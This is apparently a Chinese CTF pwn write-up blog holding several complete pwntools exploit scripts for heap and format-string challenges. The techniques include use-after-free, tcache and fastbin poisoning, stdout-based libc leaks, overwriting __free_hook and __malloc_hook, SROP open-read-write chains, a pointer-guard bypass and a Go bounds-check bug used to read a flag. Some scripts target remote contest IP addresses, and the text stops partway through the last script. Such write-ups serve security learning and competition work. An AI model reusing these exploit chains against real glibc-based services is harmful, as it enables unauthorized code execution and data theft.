23 | libc =ELF('./libc-2.27.so') |
24 | while True: |
25 | p = process('./main') |
26 | try: |
27 | realloc(0x18,'FMYY') |
28 | free() |
29 | realloc(0x4F0,'FMYY') |
30 | realloc(0x4F0 - 0x80,'FMYY') |
31 | free() |
32 | realloc(0xF0,'FMYY') |
33 | free() |
34 | realloc(0x100,'FMYY') |
35 | realloc(0x28,'FMYY') |
36 | free() |
37 | realloc(0x48,'FMYY') |
38 | free() |
39 | realloc(0x110,'FMYY') |
40 | realloc(0x38,'FMYY') |
41 | free() |
42 | ####### |
43 | realloc(0x58,'FMYY') |
44 | free() |
45 | realloc(0x68,'FMYY') |
46 | free() |
47 | realloc(0x58,'\x00'*0x58 + '\xF1') |
48 | free() |
49 | realloc(0x68,'FMYY') |
50 | free() |
51 | realloc(0x500,'FMYY') |
52 | free() |
53 | realloc(0xE0,'\x00'*0x68 + p64(0x31) + '\x60\x67') |
54 | free() |
55 | ##### |
56 | realloc(0x48,'\x00'*0x48 + '\xC1') |
57 | free() |
58 | realloc(0x38,'FMYY') |
59 | free() |
60 | realloc(0xB0,'\x00'*0x38 + p64(0xE1) + '\xD0\x96') |
61 | free() |
62 | realloc(0xD0,'FMYY') |
63 | realloc(0x70,'FMYY') |
64 | free() |
65 | realloc(0xD0,'FMYY') |
66 | realloc(0x70,'FMYY') |
67 | free() |
68 | |
69 | realloc(0xD0,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8') |
70 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
71 | log.info('LIBC:\t' + hex(libc_base)) |
72 | if libc_base < 0x7F0000000000: |
73 | p.close() |
74 | continue |
75 | menu(2) |
76 | R(0x80,'FMYY') |
77 | F() |
78 | R(0x90,'FMYY') |
79 | F() |
80 | R(0xA0,'FMYY') |
81 | F() |
82 | R(0x88,'\x00'*0x88 + '\xD1') |
83 | F() |
84 | R(0x90,'FMYY') |
85 | F() |
86 | R(0xC0,'\x00'*0x98 + p64(0xB1) + p64(libc_base + libc.sym['__free_hook'])) |
87 | F() |
88 | R(0xA0,'FMYY') |
89 | R(0x60,'FMYY') |
90 | F() |
91 | R(0xA0,p64(libc_base + 0x10A45C)) |
92 | F() |
93 | break |
94 | except: |
95 | p.close() |
96 | continue |
97 | p.interactive() |
UAF的洞,分配两个大块,然后释放让他们合并,再切割,其中的某个块的chunk header就能通过切割出来的chunk包含进去,之后则是清空数据,绕过tcache的check
利用则是修改stderr的chain指针指向一个堆上构造的IO,此外还要修改malloc_hook 为setcontext+61,即可通过SROP进行ORW
1 | from pwn import* |
2 | context.binary = './main' |
3 | def menu(ch): |
4 | p.sendlineafter('Action>',str(ch)) |
5 | def new(size,content): |
6 | menu(3) |
7 | p.sendlineafter('price:',str(size)) |
8 | p.sendafter('Name:',content) |
9 | def load(index): |
10 | menu(2) |
11 | p.sendlineafter('load?',str(index)) |
12 | def free(times): |
13 | menu(1) |
14 | p.sendlineafter('time: ',str(times)) |
15 | p = process('./main') |
16 | p = remote('123.57.209.176',30772) |
17 | libc =ELF('./libc-2.31.so') |
18 | p.sendlineafter('Your name: ','FMYY') |
19 | for i in range(3): |
20 | new(0x10,'FMYY\n') |
21 | new(0x420,'FMYY\n') |
22 | new(0x420,'fmyy\n') |
23 | new(0x10,'FMYY\n') |
24 | |
25 | load(4) |
26 | load(3) |
27 | free(2) |
28 | |
29 | new(0x20,'\n') |
30 | load(3) |
31 | free(1) |
32 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 - 0x120 - 0x3E0 |
33 | log.info('LIBC:\t' + hex(libc_base)) |
34 | free_hook = libc_base + libc.sym['__free_hook'] |
35 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
36 | new(0x20,'F'*0x10 + '\n') |
37 | load(3) |
38 | free(1) |
39 | p.recvuntil('F'*0x10) |
40 | heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60 |
41 | log.info('HEAP:\t' + hex(heap_base)) |
42 | ############################################# |
43 | |
44 | ###########3 |
45 | pop_rdi_ret = libc_base + 0x0000000000026B72 |
46 | pop_rdx_r12 = libc_base + 0x000000000011C371 |
47 | pop_rsi_ret = libc_base + 0x0000000000027529 |
48 | pop_rax_ret = libc_base + 0x000000000004A550 |
49 | jmp_rsi = libc_base + 0x000000000013927D |
50 | |
51 | |
52 | syscall = libc_base + libc.sym['syscall'] |
53 | |
54 | target = libc_base + libc.sym['_IO_2_1_stdin_'] |
55 | address = libc.sym['__free_hook'] + libc_base |
56 | IO_str_jumps = libc_base + 0x1ED560 |
57 | |
58 | Open = libc_base + libc.symbols["open"] |
59 | Read = libc_base + libc.symbols["read"] |
60 | Puts = libc_base + libc.symbols['puts'] |
61 | free_hook = address |
62 | IO = '\x00'*0x28 |
63 | IO += p64(heap_base + 0x360 + 0xE0) |
64 | IO = IO.ljust(0xD8,'\x00') |
65 | IO += p64(IO_str_jumps) |
66 | read = libc_base + libc.sym['read'] |
67 | frame = SigreturnFrame() |
68 | frame.rax = 0 |
69 | frame.rdi = 0 |
70 | frame.rsi = address |
71 | frame.rdx = 0x2000 |
72 | frame.rsp = address |
73 | frame.rip = Read |
74 | |
75 | |
76 | orw = p64(pop_rdi_ret)+p64(free_hook + 0xF8) |
77 | orw += p64(pop_rsi_ret)+p64(0) |
78 | orw += p64(Open) |
79 | orw += p64(pop_rdi_ret) + p64(3) |
80 | orw += p64(pop_rdx_r12) + p64(0x30) + p64(0) |
81 | orw += p64(pop_rsi_ret) + p64(free_hook+0x100) |
82 | orw += p64(Read) |
83 | orw += p64(pop_rdi_ret)+p64(free_hook+0x100) |
84 | orw += p64(Puts) |
85 | orw = orw.ljust(0xF8,'\x00') |
86 | orw += './flag\x00\x00' |
87 | IO += str(frame) |
88 | ######################################## |
89 | for i in range(3): |
90 | load(i) |
91 | free(3) |
92 | new(0x3E0,IO + '\n') |
93 | new(0x31,p64(0) + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n') |
94 | free(1) |
95 | |
96 | load(1) |
97 | free(1) |
98 | new(0x31,p64(0) + p64(0x21) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x68) + '\n') |
99 | new(0x10,'FMYY\n') |
100 | new(0x10,p64(heap_base + 0x360) + '\n') |
101 | |
102 | load(1) |
103 | load(2) |
104 | free(2) |
105 | |
106 | new(0x31,p64(0) + p64(0x21) + p64(malloc_hook) + '\n') |
107 | new(0x10,'FMYY\n') |
108 | new(0x10,p64(libc_base + libc.sym['setcontext'] + 61) + '\n') |
109 | |
110 | menu(4) |
111 | p.sendlineafter('Goodbye!',orw) |
112 | p.interactive() |
add的时候,第一次输入的size可以通过控制,然后在后面有个 *(ptr+size-1)=0,从而进行堆上任意地址写0,首先切割unsorted bin chunk,leak出libc,然后构造tcache poisoning往free_hook写system即可
1 | from pwn import* |
2 | #context.log_level ='DEBUG' |
3 | p = process('./main') |
4 | p = remote('123.57.209.176',30774) |
5 | def menu(ch): |
6 | p.sendlineafter('>>',str(ch)) |
7 | def new(size,content): |
8 | menu(1) |
9 | p.sendlineafter('Size:',str(size)) |
10 | p.sendafter('Content',content) |
11 | def show(index): |
12 | menu(2) |
13 | p.sendlineafter('Index',str(index)) |
14 | def free(index): |
15 | menu(3) |
16 | p.sendlineafter('Index',str(index)) |
17 | def N(size,sz,content): |
18 | menu(1) |
19 | p.sendlineafter('Size:',str(size)) |
20 | p.sendlineafter('Size:',str(sz)) |
21 | p.sendafter('Content',content) |
22 | libc =ELF('./libc-2.31.so') |
23 | for i in range(8): |
24 | new(0x80,'FMYY\n') |
25 | for i in range(7): |
26 | free(7 - i) |
27 | free(0) |
28 | N(0x200,1,'\xE0') #0 |
29 | show(0) |
30 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 352 - 0x10 |
31 | log.info('LIBC:\t' + hex(libc_base)) |
32 | |
33 | new(0x70,'FMYY\n') #1 |
34 | new(0x60,'FMYY\n') #2 |
35 | new(0x50,'FMYY\n') #3 |
36 | new(0x50,'FMYY\n') #4 |
37 | new(0x50,'FMYY\n') #5 |
38 | free(3) |
39 | free(5) |
40 | free(4) |
41 | N(-0xBF,0x40,'FMYY\n') #3 |
42 | new(0x50,p64(libc_base + libc.sym['__free_hook']) + '\n') #4 |
43 | new(0x50,'/bin/sh\x00\n') #5 |
44 | new(0x50,p64(libc_base + libc.sym['system']) + '\n') |
45 | free(5) |
46 | |
47 | p.interactive() |
在下载了一个1.13.15的Go的编译器后,手动调试发现hack中定义的数组或者整型变量在栈上是在main函数中flag数组的上方不远处
因为Golang貌似在没有包括unsafe库的情况下,不能直接操纵内存,所以就去查有没有相关的数组越界分析
结果发现知乎有个最新的文章说了下因为Go编译器优化导致数组存在越界,所以根据上面的链接找到了对应issue的payload,改都不用改就能越界读出flag中的每一个字节,感觉这个题就是个社工题,面向搜索引擎做题,就看谁先找到了 :(
issue: https://github.com/golang/go/issues/40367
知乎文章分析: https://zhuanlan.zhihu.com/p/166378003
1 | from pwn import* |
2 | p = remote('123.56.96.75',30775) |
3 | payload = ''' |
4 | func hack() { |
5 |
|
6 | rates := []uint64{0xFF} |
7 | for star ,rate := range rates{ |
8 | if star+1 < 1{ |
9 | panic("") |
10 | } |
11 | println(rate) |
12 | } |
13 | } |
14 | ''' |
15 | p.sendafter('code:',payload + '#') |
16 | p.recvuntil('4531949\n') |
17 | FLAG = '' |
18 | for i in range(0x2D): |
19 | FLAG += chr(int(p.recvline(),10) - 1) |
20 | log.info('FLAG:\t' + FLAG) |
21 | pause() |
22 | p.close() |
首先是命令行参数传入0x20个字节的数据,然后通过长度检测,再将输入的数据转换成Hex形式,最后进行了一个虚拟机,这里不明白如何逆,所以就通过gdb的硬件断点,一点点的观察,经过了几轮后,发现在某个地址会从一个地址取出一个字节,和我们的输入的数据转换成的16进制进行一字节一字节的对比,每次对比时候,手动设置数据为正确的值,进行32轮后,都在同一个地址,就能一个字节一个字节的提取出正确的flag
]]>题目是一个菜单堆,因为有一个随机值作为key,所以不好操作,漏洞点是UAF,2.27的环境
1. 首先清空所有的0x40块,因为可以一直覆盖同一个Index,所以配合edit,一字节一字节的爆破,最多256*4次,即可拿到随机值key2. 继续申请并释放一定量的0x40的块填满TCache 以及 放几个chunk到fastbin,利用scanf("%ld')让块进入smallbin3. case5的gift将smallbin中的这个块给切割出来,同时切割一个剩下的在unsorted bin中的chunk,用show打印libc出来4. 因为malloc(0x180)的块是由之前UAF的块组合的,所以在这里面布置好key值,即可绕过key值检测从而攻击到free_hook并利用malloc(0x180)的块构造SROP
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | context.arch = 'AMD64' |
4 | def menu(ch): |
5 | p.sendlineafter('Your choice: ',str(ch)) |
6 | def new(index): |
7 | menu(1) |
8 | p.sendlineafter('Index:',str(index)) |
9 | def edit(index,content): |
10 | menu(2) |
11 | p.sendlineafter('Index:',str(index)) |
12 | p.sendafter('Content:',content) |
13 | def show(index): |
14 | menu(3) |
15 | p.sendlineafter('Index:',str(index)) |
16 | def free(index): |
17 | menu(4) |
18 | p.sendlineafter('Index:',str(index)) |
19 | def gift(content): |
20 | menu(5) |
21 | p.sendafter('cookie?',content) |
22 | p = process('./main') |
23 | libc =ELF('./libc-2.27.so') |
24 | for i in range(12): |
25 | new(0) |
26 | def bf(key): |
27 | try: |
28 | new(0) |
29 | edit(0,'\x00'*0x28 + key) |
30 | menu(2) |
31 | p.sendlineafter('Index:','0') |
32 | data = p.recvuntil('Content:',timeout=0.05) |
33 | if 'Content' in data: |
34 | return True |
35 | except: |
36 | return False |
37 | key = '' |
38 | for n in range(4): |
39 | for i in range(256): |
40 | tmp = key + chr(i) |
41 | if bf(tmp): |
42 | key += chr(i) |
43 | p.sendline('FMYY') |
44 | break |
45 | else: |
46 | continue |
47 | log.info('Key:\t' + key) |
48 | for i in range(15): |
49 | new(i + 1) |
50 | for i in range(7): |
51 | free(15 - i) |
52 | for i in range(8): |
53 | free(15 - 7 - i) |
54 | menu('0'*0x500) |
55 | |
56 | gift(('\x00'*0x28 + key + p32(0) + p64(0) + p64(0x41))*5) |
57 | #gdb.attach(p,"set *$rebase(0x202028)=0xDEADBEEF") |
58 | |
59 | for i in range(7): |
60 | new(i + 9) |
61 | |
62 | new(0) |
63 | show(0) |
64 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] -0x70 |
65 | log.info('LIBC:\t' + hex(libc_base)) |
66 | free(2) |
67 | gift(('\x00'*0x28 + key + p32(0) + p64(0) + p64(0x41))*5) |
68 | free(2) |
69 | new(0) |
70 | edit(0,p64(libc_base + libc.sym['__free_hook'])) |
71 | new(0) |
72 | new(0) |
73 | edit(0,p64(libc_base + libc.sym['setcontext'] + 53)) |
74 | #########################################3 |
75 | free_hook = libc_base + libc.sym['__free_hook'] |
76 | Open = libc_base + libc.symbols["open"] |
77 | Read = libc_base + libc.symbols["read"] |
78 | Puts = libc_base + libc.symbols['puts'] |
79 | syscall = libc_base + libc.sym['syscall'] |
80 | pop_rdi_ret = libc_base + 0x000000000002155F |
81 | pop_rdx_ret = libc_base + 0x0000000000001B96 |
82 | pop_rsi_ret = libc_base + 0x0000000000023E8A |
83 | pop_rax_ret = libc_base + 0x0000000000043A78 |
84 | frame = SigreturnFrame() |
85 | frame.rax = 0 |
86 | frame.rdi = 0 |
87 | frame.rsi = free_hook |
88 | frame.rdx = 0x2000 |
89 | frame.rsp = free_hook |
90 | frame.rip = Read |
91 | |
92 | orw = p64(pop_rax_ret) + p64(2) |
93 | orw += p64(pop_rdi_ret)+p64(free_hook + 0xF8) |
94 | orw += p64(pop_rsi_ret)+p64(0) |
95 | orw += p64(syscall + 23) |
96 | orw += p64(pop_rdi_ret) + p64(3) |
97 | orw += p64(pop_rdx_ret) + p64(0x30) |
98 | orw += p64(pop_rsi_ret) + p64(free_hook+0x100) |
99 | orw += p64(Read) |
100 | orw += p64(pop_rdi_ret)+p64(free_hook+0x100) |
101 | orw += p64(Puts) |
102 | orw = orw.ljust(0xF8,'\x00') |
103 | orw += './flag\x00\x00' |
104 | ################################### |
105 | gift(str(frame)) |
106 | sleep(0.2) |
107 | p.sendline(orw) |
108 | p.interactive() |
一开始有点没看懂,后面发现有个任意写,没环境,libxml2.so.2 和 libicuuc.so.63弄了好久没弄好,真够烦人的,lib都不给全,然后看了下Nu1L公布的WP把步骤补全了,不清楚能否打通
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Exit',str(ch)) |
5 | def leak(content): |
6 | menu(1) |
7 | p.sendafter('Content:',content) |
8 | def write(idx,content): |
9 | menu(2) |
10 | p.sendafter('Content:',content) |
11 | p.sendlineafter('ID',str(idx)) |
12 | def exit(content): |
13 | menu(3) |
14 | p.sendafter('Content:',content) |
15 | def edit(offset,content): |
16 | for i in range(len(content)): |
17 | tmp = ord(content[i]) |
18 | if tmp: |
19 | write(offset + i,'U'*tmp) |
20 | else: |
21 | write(offset + i,'U'*0x100) |
22 | p = process('./main') |
23 | elf =ELF('./main') |
24 | libc =ELF('./libc-2.30.so') |
25 | edit(-6032,p64(elf.got['__libc_start_main'])) |
26 | leak('FMYY') |
27 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__libc_start_main'] |
28 | log.info('LIBC:\t' + hex(libc_base)) |
29 | |
30 | edit(0xD8,p64(0x67F8B0)) |
31 | edit(0x88,p64(elf.bss() + 0x1000)) |
32 | edit(0x100 + 0x38 ,p64(libc_base + 0xF1207)) |
33 | edit(-16,p64(0x67F7B0)) |
34 | menu(4) |
35 | p.interactive() |
因为是多线程,而且是多次利用,简单的leak stack,leak libc,leak canary吧,这里关键是调用printf_chk函数中,有一个指针,而这个指针调用前,会有一个值与TLS结构中一个8字节的随机数据进行异或
首先利用%s将TLS中的8字节数据给打印出来,然后通过指针和随机值进行异或,可以得到一个key值然后将 key值 与 我们想要调用的指针进行异或,再将异或后的数据放在TLS结构体中随机值的位置当调用printf_chk的时候,经过异或key值会还原到我们想要调用的函数或者指针位置,所以改成one_gadget即可getshell
1 | from pwn import* |
2 | def exp(): |
3 | p.sendline('%p%p%p%p%p%p%p%p%p%p%pCanary:%p%pLIBC:%p%p%p%p%pST:%p') |
4 | p.recvuntil('Canary:') |
5 | canary = int(p.recv(18),16) |
6 | p.recvuntil('LIBC:') |
7 | libc_base = int(p.recv(14),16) - 0x3F86DB |
8 | p.recvuntil('ST:') |
9 | stack = int(p.recv(14),16) |
10 | log.info('Canary:\t' + hex(canary)) |
11 | log.info('LIBC:\t'+ hex(libc_base)) |
12 | log.info('Stack:\t' + hex(stack)) |
13 | #gdb.attach(p,"b *0x7ffff783006a") |
14 | p.sendline('%p%p%p%p%p%p%p%p%p%pRand%s'.ljust(0x30,'\x00') + p64(libc_base - 0x900 + 0x30)) |
15 | p.recvuntil('Rand') |
16 | rand = u64(p.recv(8)) |
17 | log.info('Rand\t' + hex(rand)) |
18 | key = (rand^(libc_base + 4201616))&0xFFFFFFFFFFFFFFFF |
19 | rce = key^(libc_base + 0x10A45C) |
20 | payload = 'F'*0x38 + p64(canary) + '\x00'*0x18 + p64(libc_base - 0x900) |
21 | payload = payload.ljust(0x878,'\x00') |
22 | payload += p64(canary) |
23 | payload += p64(rce) |
24 | p.sendline(payload) |
25 | p.interactive() |
26 | p = process('./main') |
27 | exp() |
因为在case 1写入passwd的时候,写入的数据放在栈上,而写完后又会在一个函数里面进行会传入一个地址,然后delete,而传入地址之前的函数,没有对栈空间进行一个数据清空,导致passwd修改时候残留的数据会留在栈上,然后在这里delete的时候会free()一个错误的指针,这样我们在这里可以构造任意写,因为是2.27,利用fake_chunk->stdout->IO_2_1_stdout 可以leaklibc,所以通过玄学堆风水加调试做一做就出了
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | p = process('./main') |
4 | libc =ELF('./libc-2.27.so') |
5 | #p = remote('172.20.120.104',8888) |
6 | p.sendlineafter('Username:',"adminNNN" + 'N'*0x10 + '\x31') |
7 | p.sendafter('Password:','p455w0rd' + '\x00'*0x8 + 'U'*0x8F) |
8 | |
9 | p.sendlineafter('choice:','1') |
10 | p.sendlineafter('password:','\x00'*0x28 + p64(0x21) + 'U'*0x50 + p64(0x6032D0 + 0x10)) |
11 | p.sendlineafter('please:','F'*0x70) |
12 | p.sendlineafter(':','1000') |
13 | p.sendlineafter('choice:','1') |
14 | p.sendlineafter('password:',p64(0x603288)) |
15 | p.sendlineafter('please:','F'*0x20) |
16 | p.sendlineafter(':','1000') |
17 | |
18 | p.sendlineafter('choice:','1') |
19 | p.sendlineafter('password:',p64(0x603288)) |
20 | p.sendafter('please:',p64(0x603288)*4) |
21 | p.sendlineafter(':','1000') |
22 | p.sendlineafter('choice:','1') |
23 | p.sendlineafter('password:',p64(0x603288)) |
24 | p.sendafter('please:',p64(0xFBAD1800) + p64(0)*3 + '\xC8') |
25 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
26 | log.info('LIBC:\t' + hex(libc_base)) |
27 | p.sendlineafter(':','1000') |
28 | |
29 | p.sendlineafter('choice:','1') |
30 | p.sendlineafter('password:','FMYY') |
31 | p.sendlineafter('please:','F'*0x70) |
32 | p.sendlineafter(':','1000') |
33 | |
34 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
35 | free_hook = libc_base + libc.sym['__free_hook'] |
36 | rce = libc_base + 0x10A45C |
37 | p.sendlineafter('choice:','1') |
38 | p.sendlineafter('password:','\x00'*0x28 + p64(0x41) + 'U'*0x50 + p64(0x603300 + 0x10)) |
39 | p.sendlineafter('please:','F'*0x70) |
40 | p.sendlineafter(':','1000') |
41 | p.sendlineafter('choice:','1') |
42 | p.sendlineafter('password:','\x00'*0x30 + p64(malloc_hook)) |
43 | p.sendlineafter('please:','F'*0x30) |
44 | p.sendlineafter(':','1000') |
45 | p.sendlineafter('choice:','1') |
46 | p.sendlineafter('password:','FMYY') |
47 | p.sendlineafter('please:',p64(rce) + '\x00'*0x28) |
48 | p.sendlineafter(':','1000') |
49 | p.sendlineafter('choice:','1') |
50 | p.sendlineafter('password:','FMYY') |
51 | p.interactive() |
恶心心,西湖论剑的题目比这个要好多了,这个抬栈太烦人了,当初做了这个题,结果西湖论剑没做出来,因为没想到printf@plt进入会push一个返回地址,太菜了
首先通过调用一个函数抬一次栈,再调用一个start函数,栈上就会剩下_IO_2_1_stdou_指针通过栈链修改stdout结构体中的fileno为2就能leak了. 然后则是在写入的后面布置一个orw,再通过栈链将rbp改成orw位置和返回地址改成leave_ret进行栈迁移到orw位置
1 | from pwn import* |
2 | ############# |
3 | libc =ELF('./libc-2.23.so') |
4 | while True: |
5 | p = process('./main') |
6 | try: |
7 | p.recvuntil('Gift: ') |
8 | stack = int(p.recv(14),16) |
9 | log.info('Stack:\t' + hex(stack)) |
10 | offset = 9 |
11 | retval = stack&0xFFFF |
12 | if retval > 0x2000: |
13 | p.close() |
14 | continue |
15 | p.sendline('%' + str((stack&0xFF - 0x10)) + 'c%6$hhn') |
16 | p.sendline('%61c%10$hhn') |
17 | |
18 | p.sendline('%' + str((stack - 0x10 - 0x10 + 1)&0xFFFF) + 'c%6$hn') |
19 | p.sendline('%74c%10$hhn') |
20 | |
21 | p.sendline('%' + str((stack - 0x10 - 0x10 + 0)&0xFFFF) + 'c%6$hn') |
22 | p.sendline('%144c%10$hhn') |
23 | |
24 | p.sendline('%' + str((stack - 0x10 - 0x18)&0xFFFF) + 'c%6$hn') |
25 | p.sendline('%183c%10$hhn') |
26 | |
27 | p.sendline('%' + str((stack - 0x70)&0xFFFF) + 'c%6$hn') #* |
28 | p.sendline('%144c%10$hhn') |
29 | |
30 | p.sendline('%2c%29$nFMYY') |
31 | p.recvuntil('FMYY',timeout=0.5) |
32 | p.sendline('LIBC:%13$pProc:%9$p') |
33 | p.recvuntil('LIBC:') |
34 | libc_base = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'] |
35 | log.info('LIBC:\t' + hex(libc_base)) |
36 | p.recvuntil('Proc:') |
37 | proc_base = int(p.recv(14),16) - 0x202040 |
38 | log.info('Proc:\t' + hex(proc_base)) |
39 | log.info('PID:\t' + hex(p.pid)) |
40 | pop_rsi_ret = libc_base + 0x000000000006E7F3 |
41 | pop_rdi_ret = libc_base + 0x0000000000140613 |
42 | pop_rdx_ret = libc_base + 0x0000000000001B9A |
43 | pop_rdx_rsi = libc_base + 0x0000000000115189 |
44 | Open = libc_base + libc.sym['open'] |
45 | Read = libc_base + libc.sym['read'] |
46 | Puts = libc_base + libc.sym['puts'] |
47 | orw = './flag\x00\x00' + p64(pop_rdi_ret) + p64(proc_base + 0x202058) + p64(pop_rsi_ret) + p64(0) + p64(Open) |
48 | orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x30) + p64(proc_base + 0x2020F0) + p64(Read) |
49 | orw += p64(pop_rdi_ret) + p64(proc_base + 0x2020F0) + p64(Puts) |
50 | pause() |
51 | p.sendline('%' + str((stack - 0x128)&0xFFFF) + 'c%15$hn') |
52 | p.sendline('%88c%41$hhn') |
53 | for i in range(1,6): |
54 | p.sendline('%' + str((stack - 0x128 + i)&0xFF) + 'c%15$hhn') |
55 | p.sendline('%' + str(((proc_base + 0x202040)>>(i*8))&0xFF) + 'c%41$hhn') |
56 | p.sendline('%' + str((stack - 0x120)&0xFF) + 'c%15$hhn') |
57 | p.sendline('%182c%41$hhn'.ljust(0x18,'\x00') + orw) |
58 | pause() |
59 | break |
60 | except: |
61 | p.close() |
62 | continue |
63 | p.interactive() |
越想越气,收手机,热点并不会少,解题赛,三个小时做nm呢,题目fix两个小时,这么长是不是还要再吃一顿饭呢,平台垃圾,SB验证码,SB平台,SB YLB
上面题目都是国赛时间复现的,因为懒,所以不更新博客,突然开窍了,写几个题目吧,不然博客不打理还不如关了
因为是UAF的洞,所以可以double free,然后又给了我们一个stack地址,所以先case 3在栈上布置一个fake chunk header,再利用fastbin attack将块申请过去,因为可以一直覆盖,而read函数又不会末尾补0,因而printf(“%s”),会把libc_start_main_ret带出来,得到libc_base就打malloc_hook,realloc修一下栈,本地和远程还有点不同,修栈也有点问题
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('choise:',str(ch)) |
4 | p = process('./main') |
5 | p = remote('183.129.189.61',56304) |
6 | libc =ELF('./libc-2.23.so') |
7 | p.sendafter("name:",(p64(0) + p64(0x31))*6) |
8 | p.recvuntil('tag: ') |
9 | stack = int(p.recv(14),16) |
10 | log.info("Stack:\t" + hex(stack)) |
11 | |
12 | |
13 | ########### |
14 | def new(idx,content): |
15 | menu(1) |
16 | p.sendlineafter('your id:',str(idx)) |
17 | p.sendafter('content',content) |
18 | def free(idx): |
19 | menu(2) |
20 | p.sendlineafter('your id:',str(idx)) |
21 | def W(content): |
22 | menu(3) |
23 | p.send(content) |
24 | |
25 | p.sendlineafter('choice:',"2") |
26 | |
27 | W(p64(0) + p64(0x71) + p64(0)*2) |
28 | new(1,"AAAA") |
29 | new(2,"AAAA") |
30 | free(2) |
31 | free(1) |
32 | free(2) |
33 | new(3,p64(stack - 0x40)) |
34 | new(4,"AAAA") |
35 | new(5,"AAAA") |
36 | new(6,"A"*0x44 + 'MMMM') |
37 | W("F"*0x20) |
38 | p.recvuntil("MMMM") |
39 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 240 - libc.sym['__libc_start_main'] |
40 | log.info("LIBC:\t"+ hex(libc_base)) |
41 | free(2) |
42 | free(1) |
43 | free(2) |
44 | |
45 | rce = libc_base + 0x4527A |
46 | realloc = libc_base + libc.sym['realloc'] |
47 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
48 | new(7,p64(malloc_hook - 0x23)) |
49 | new(8,"UUUU") |
50 | new(9,'UUUU') |
51 | new(10,'\x00'*(0x13 - 8) + p64(rce) + p64(realloc + 4)) |
52 | free(1) |
53 | free(1) |
54 | p.interactive() |
模拟了一个POST传参,其实并不难,只是一个菜单堆,可以通过测试几次就把交互模板写出来
因为又是UAF漏洞,首先放一个块进入unsorted bin中,然后tcache posion申请过去将块的fd的libc地址最后两个字节修改成IO_2_1_stdout,再用另外一个0x20的块申请过去,即可利用stdout结构leak出libc,最后则是利用free_hook,用setcontext+53制造一个SROP,将srop结构布置到堆上,释放这个块就能执行orw了
1 | from pwn import* |
2 | context.arch = 'AMD64' |
3 | def new(content): |
4 | p.sendline("POST /create Cookie: user=admin token: \x34\r\n\r\ncontent=" + content) |
5 | sleep(0.05) |
6 | def free(idx): |
7 | p.sendline("POST /del Cookie: user=admin token: \x34\r\n\r\nindex=" + str(idx)) |
8 | sleep(0.05) |
9 | def edit(idx,content): |
10 | p.sendline("POST /edit Cookie: user=admin token: \x34\r\n\r\nindex=" +str(idx) + "&content="+ content) |
11 | sleep(0.05) |
12 | while True: |
13 | p = process('./main') |
14 | p = remote('183.129.189.61',53702) |
15 | libc =ELF('./libc-2.27.so') |
16 | try: |
17 | new("A"*0x80) |
18 | new("A"*0x20 + '\x00') |
19 | new("A"*0x10 + '\x00') |
20 | new("A"*0x100) |
21 | p.recvuntil("Your gift: ") |
22 | heap_base = int(p.recvuntil('"}',drop=True),16) - 0x260 |
23 | log.info('HEAP:\t' + hex(heap_base)) |
24 | |
25 | for i in range(8): |
26 | free(0) |
27 | free(2) |
28 | free(2) |
29 | free(2) |
30 | new(p64(heap_base + 0x260)) |
31 | new(p64(heap_base + 0x260)) |
32 | new('\x60\x47') |
33 | |
34 | free(1) |
35 | free(1) |
36 | new("A"*0x20) |
37 | edit(7,p64(heap_base + 0x260)) |
38 | new("A"*0x20) |
39 | new("A"*0x20) |
40 | new("A"*0x28) |
41 | edit(10,p64(0xFBAD1800) + p64(0)*3 + '\xC8') |
42 | libc_base = u64(p.recvuntil('\x7F',timeout=0.3)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
43 | log.info('LIBC:\t' + hex(libc_base)) |
44 | free_hook = libc_base + libc.sym['__free_hook'] |
45 | system = libc_base + libc.sym['system'] |
46 | setcontext = libc_base + libc.sym['setcontext'] + 53 |
47 | rce = libc_base + 0x4F3C2 |
48 | free(2) |
49 | free(2) |
50 | new(p64(free_hook)) |
51 | new("UUUU") |
52 | new(p64(setcontext)) |
53 | ret = libc_base + 0x00000000000008AA |
54 | |
55 | Open = libc_base + libc.symbols["open"] |
56 | Read = libc_base + libc.symbols["read"] |
57 | Puts = libc_base + libc.symbols['puts'] |
58 | pop_rdi_ret = libc_base + 0x000000000002155F |
59 | pop_rsi_ret = libc_base + 0x0000000000023E8A |
60 | pop_rdx_ret = libc_base + 0x0000000000001B96 |
61 | orw = '' |
62 | orw += p64(pop_rdi_ret)+p64(heap_base + 0x3B8) |
63 | orw += p64(pop_rsi_ret)+p64(0) |
64 | orw += p64(Open) |
65 | orw += p64(pop_rdi_ret) + p64(4) |
66 | orw += p64(pop_rdx_ret) + p64(0x30) |
67 | orw += p64(pop_rsi_ret) + p64(heap_base) |
68 | orw += p64(Read) |
69 | orw += p64(pop_rdi_ret)+p64(heap_base) |
70 | orw += p64(Puts) |
71 | orw += './flag\x00' |
72 | frame = SigreturnFrame() |
73 | frame.rax = 0 |
74 | frame.rdi = 0 |
75 | frame.rsi = 0 |
76 | frame.rdx = 0 |
77 | frame.rsp = heap_base + 0x250 + 0x90 + 0x30 + 0x20 + 0x10 |
78 | frame.rip = ret |
